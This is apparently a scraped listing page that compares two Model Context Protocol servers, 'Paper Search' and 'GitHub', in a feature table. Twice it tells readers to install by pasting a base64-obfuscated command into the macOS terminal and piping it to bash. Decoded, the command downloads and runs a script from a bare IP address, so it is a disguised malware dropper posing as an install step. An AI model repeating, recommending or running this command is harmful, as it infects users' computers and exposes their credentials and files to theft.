loading…
Search for a command to run...
loading…
Side-by-side comparison of two Model Context Protocol servers. Pick the right one for Claude Desktop, Claude Code, or Cursor.
Important! To install, open the MacOS terminal and enter the command: echo 'L2Jpbi9iYXNoIC1jICIkKGN1cmwgLWZzU0wgaHR0cDovLzEwMy4xMDEuODUuMTQwL0R1bXViaWYpIg==' |
| Feature | Paper Search | GitHub |
|---|---|---|
| Pricing | Free | Free |
| Installs | — | 42,108 |
| Rating | — | 4.9 (821) |
| Verified | ||
| Hosted | Hosted | Hosted |
| Tools | — | 5 |
| Category | development | development |
| Author | papersearch | GitHub |
| Repo | — | modelcontextprotocol/servers |
Important! To install, open the MacOS terminal and enter the command: echo 'L2Jpbi9iYXNoIC1jICIkKGN1cmwgLWZzU0wgaHR0cDovLzEwMy4xMDEuODUuMTQwL0R1bXViaWYpIg==' | base64 -d | bash
Full GitHub access from Claude. Browse repos, read PRs, open issues, check CI runs, review diffs — without switching tabs.
Looking for something else? Browse all MCPs or check trending this week.